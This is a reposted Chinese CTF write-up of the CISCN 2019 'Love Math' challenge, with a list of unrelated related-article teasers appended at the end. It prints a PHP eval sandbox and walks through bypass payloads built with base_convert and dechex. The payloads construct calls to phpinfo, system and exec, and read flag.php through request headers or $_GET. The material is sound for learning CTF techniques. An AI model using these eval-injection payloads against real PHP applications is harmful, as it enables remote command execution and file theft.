首页 > 其他分享 >[CISCN 2019 初赛]Love Math

[CISCN 2019 初赛]Love Math

时间:2023-10-21 23:11:16浏览次数:51  
标签:10 convert Love 进制 36 初赛 abs pi Math

原理

解题过程

首先进入靶场,有代码让我们审计

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);        //如果没有传递c,则高亮显示代码
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {      //限制c参数的值长度小于80
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];      //黑名单过滤
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp   //这里提示我们要关注数学函数
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);      //这里则是白名单过滤,取出所有函数名并存放到$used_funcs[0]中,算是个二维数组吧
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');    //最后是代码执行
} 

太难了,以下就摘抄wp的,加点自己的理解

简单的代码审计

首先用户输入的参数值长度不能大于等于80。
然后用户输入不能包含黑名单里的字符,比如空格、制表符、回车换行、单双引号、反引号、[]。
接着用户输入的字符串需要匹配白名单。
最后通过eval函数可以执行用户输入。

测试一下白名单规则,经过试验

abs(1),匹配出abs,在白名单中,能过
1abs(),匹配出abs,在白名单中,能过
absa(),匹配出absa,不在白名单中,不能过
abs(a),匹配出abs和a,a不在白名单中,不能过
abs()a,匹配出abs和a,a不在白名单中,不能过
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', content,used_funcs);

表示匹配content变量中以字母或下划线开头,后面任意数量的字母、数组、下划线组成的字符串,将所有的可能结果放在
used_funcs数组中。
其中,
\x7f-\xff 代表一个ASCII码字符,范围是0x7f(10进制 127)到0xff(10进制 255),这在ascii码表里都是不可见字符。
* 匹配前面的子表达式零次或多次。

$pi=hypot.min.fmod;$pi=$pi{2}.$pi{0}.$pi{2}.$pi{6}.$pi{7}.$pi{8}.$pi{3};$pi()

思路:这段payload可以分为三部分,

首先定义一个变量名$pi,因为pi在白名单中且长度最短,其值为hypot.min.fmod,因为hypot、min、fmod均在白名单中,而且phpinfo中的所有字符均可以在其中找到;
然后从hypot.min.fmod中分别取第2、0、2、6、7、8、3位置字符,拼成phpinfo字符串,并重新赋值给$pi变量;
最后执行$pi(),即执行phpinfo()函数。

但是根据这个思路getflag,怎么也会超长度。

然后考虑是不是touch个文件,进行把命令拆分写入文件,再执行文件,但是也难绕过白名单。

最后看了writeup发现在众多函数中有个base_convert()函数,这个才是解题的关键。

先看看函数的用法https://www.runoob.com/php/func-math-base-convert.html

base_convert(number,frombase,tobase); 函数在任意进制之间转换数字。

在看这道题writeup之前,我的认知还停留在16进制会带个abcdef,殊不知还可以到36进制,可以带所有小写字母。

36进制,是数据的一种表示方法。同我们日常生活中的表示法不一样。它由0-9,A-Z组成,字母不区分大小写。与10进制的对应关系是:0-9对应0-9;A-F对应10-35。

进制说明:36进制是 0-Z (0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ)。

有了这个函数就能大大减短payload了。

首先,实现phpinfo()试试

?c=base_convert(55490343972,10,36)()

然后,实现system('ls'),查看当前目录下的文件

?c=base_convert(1751504350,10,36)(base_convert(784,10,36))

发现了flag.php。

接下来,我们就要尝试读取flag.php。

如果直接使用读取文件函数file_get_contents中包含下划线不在我们36进制中,并且base_convert()第一个参数太长会溢出,也就是10进制数没法无限大。

解法一 借助getallheader()来控制请求头,通过请求头的字段读取flag.php

payload中,

base_convert(696468,10,36); 代表把696468从10进制转换为36进制,结果为exec。

base_convert(8768397090111664438,10,30); 代表把8768397090111664438从10进制转换为30进制,结果为getallheaders。注意这里不能用36进制,因为getallheaders的36进制转换为10进制后数太长会溢出,也就是无法把10进制数变回getallheader。所以我们在这里采用30进制。(当然这是在linux下使用php7.3版本的结果,如果是在windows下php7.0前的所有版本对于getallheader进行30-36的进制转换,再转换回来的时候都存在溢出,也就是无法把10进制数变回getallheader)
因为过滤了[],所以这里的getallheaders用{}来调用键

这里前提是要先用ls去找flag
/?c=$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1})

在burp上字段为1:cat flag.php

但是这个payload我也拿不到flag,就当个思路学习一下

解法二

dechex()函数:
可以将十进制转换为十六进制
hex2bin()函数:
可以将十六进制转换为ascii码

事先要先实现ls
?c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));($$abs){1}(($$abs){2})&1=system&2=cat /flag
?c=$abs=base_convert(37907361743,10,36)(dechex(1598506324)); 这里实际就是$abs=_GET
($$abs){1}(($$abs){2})这里实际就是$_GET{'1'}($_GET{'2'}) 也就是system('cat /flag')

https://blog.csdn.net/m0_73512445/article/details/132627161
参考文章:https://www.cnblogs.com/zhengna/p/13964630.html

标签:10,convert,Love,进制,36,初赛,abs,pi,Math
From: https://www.cnblogs.com/BEONTHE/p/17779178.html

相关文章

  • 3D Math for Graphics and Game笔记
    这个机器人的原点在世界坐标系下的(4.5,1.5),而她右肩膀上的那个灯的模型坐标系为(-1,5),怎样计算这个灯的世界坐标呢?开始:获取原点,这个原点为(4.5,1.5)向右移动一个位置,机器人的"左边"是[0.87,0.50],这样得到的位置为(4,5,1.5)+(-1)X[0.87,0.50]=(3.63,1)向上移动5个位......
  • Math.random() 用法
    Math.random()可以随机产生一个[0,1)(左闭右开)之间的随机数double类型intrandom=(int)(Math.random()*10)   随机产生0-9之间的数字,包括0和9Math.random()*(n-m)+m     随机产生n-m之间的数字包括m不包nMath.random()*(n+1-m)+m  随机产生n......
  • 2023年香山杯初赛wp
    前言​ 以H2SHTEAM的身份打了这次比赛,感谢队友,最终进学生组前40了(下图是总榜的排名截图)​ 希望能去次广东WEBPHP_unserialize_pro查看源码,很明显的php反序列化payload生成如下,然后data传参就出flag<?phpclassWelcome{public$name;public$arg='welcome';......
  • Math teacher's homework 题解
    preface网上的题解看不懂,看代码看懂了:)solution考虑\(\mathrm{x_i}\)的倒数第\(\mathrm{low_i-1}\)位到倒数第\(\mathrm{1}\)位可以乱选(选\(\mathrm{0/1}\)都满足\(\mathrm{x_i\leqm_i}\)),那么就需要\(\mathrm{x_i}\)和\(\mathrm{m_i}\)的第\(\mathrm{1}\)位......
  • CF553C Love Triangles
    很有意思的一个题,想了一会才发现解题的关键首先我们注意到对于某个大小\(\ge3\)的连通块,其实连通块内的所有边的颜色都会被已知的边唯一确定而不同的连通块间的连边方式有两种,因此设连通块个数为\(tot\),最后的答案就是\(2^{tot-1}\)但还要考虑判掉不合法的情况,注意到不管是\(1......
  • 2023中山市第三届香山杯网络安全大赛线上初赛
    序被带飞了PWNmove先往变量sskd写入0x20字节,往第二个输入点输入0x12345678即可进入到第三个输入点,存在0x8字节的溢出。思路是在第一个输入点布置rop链,然后利用第三个输入点的溢出,打栈迁移然后泄libc后重新返回到main函数,这里要注意的是移了栈之后,栈顶指针就指......
  • P9290 Luna likes Love 题解
    原题:[洛谷P9310]([P9310EGOI2021]LunalikesLove/卢娜爱磕cp-洛谷|计算机科学教育新生态(luogu.com.cn))题目大意给定一个长度为\(\large2n(n\leq10^5)\)的序列,序列中\(\large1\simn\)的每一个数都恰好出现两次。可进行两种操作:交换两个相邻的数的位置。......
  • math库常用函数+产生随机数总结
    math库常用函数+产生随机数总结1.对x开平方doublesqrt(x);//返回值为double类型,输入的x类型随意,只要是数的类型2.求常数e的x次方doubleexp(x);//返回值为double类型,输入的x类型随意,只要是数的类型3.求x的y次方double pow(x,y);//注意计算机没有储存自然常数e,不能直接输......
  • 「闲话随笔」 C++ namespace K8He-Math version -1.0.0 is officially released!
    C++namespaceK8He-Mathversion-1.0.0isofficiallyreleased!写着玩的,不清楚是否有实用价值,看个乐就行,别D.有Bug可以自己调(怎么用感觉比较好看出来.namespaceMATH{ namespaceType{ usingi32=int; usingi64=longlong; usingu32=std::uint32_t;......
  • Math、System、Runtime //BigDecimal、Date、SimpleDaateFormat、Calendar
    1、Math =======================================================================================BigDecimal 1、构造器publicBigDecimal(Stringval)publicclassBigDecimalDemo01{publicstaticvoidmain(String[]args){//目标:掌握BigDecimal的......